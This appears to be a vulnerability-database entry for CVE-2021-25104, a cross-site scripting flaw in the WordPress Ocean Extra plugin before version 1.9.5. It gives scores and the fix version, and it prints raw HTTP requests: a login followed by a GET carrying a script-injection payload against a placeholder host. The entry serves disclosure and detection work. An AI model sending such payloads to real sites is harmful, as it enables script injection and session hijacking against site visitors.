🔙 목록으로 돌아가기

CVE-2021-25104: WordPress Ocean Extra <1.9.5 - Cross-Site Scripting

TitleWordPress Ocean Extra <1.9.5 - Cross-Site Scripting
AuthorAkincibor
SeverityMedium
ImpactSuccessful exploitation of this vulnerability could allow an attacker to inject malicious scripts into web pages viewed by users, leading to potential data theft, session hijacking, or defacement of the affected website.
RemediationFixed in version 1.9.5.
CVSS Score6.1
EPSS Score0.03381
CVE IDCVE-2021-25104
CWE IDCWE-79
Tags cve cve2021 wordpress xss wp-plugin authenticated wpscan wp ocean-extra oceanwp vuln

🔍 Vulnerability Description

WordPress Ocean Extra plugin before 1.9.5 contains a cross-site scripting vulnerability. The plugin does not escape generated links which are then used when the OceanWP theme is active.

🌐 HTTP Request

POST /wp-login.php HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/17.11 Safari/605.1.15
Connection: close
Content-Length: 51
Content-Type: application/x-www-form-urlencoded
Cookie: wordpress_test_cookie=WP%20Cookie%20check
Origin: /
Accept-Encoding: gzip

log=fBGFjH&pwd=jJUDE9&wp-submit=Log+In&testcookie=1
GET /wp-admin/?step=demo&page=owp_setup&a"><script>alert(/XSS/)</script> HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
Connection: close
Accept-Encoding: gzip

📚 References


🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-25104.yaml

🦈 Packet Capture: ⬇️ Download cve-2021-25104.pcap

⚠️ Notice: These rules are for detection purposes. Please tune them before applying to a production environment.
Snort 2 Rule
N/A
Snort 3 Rule
N/A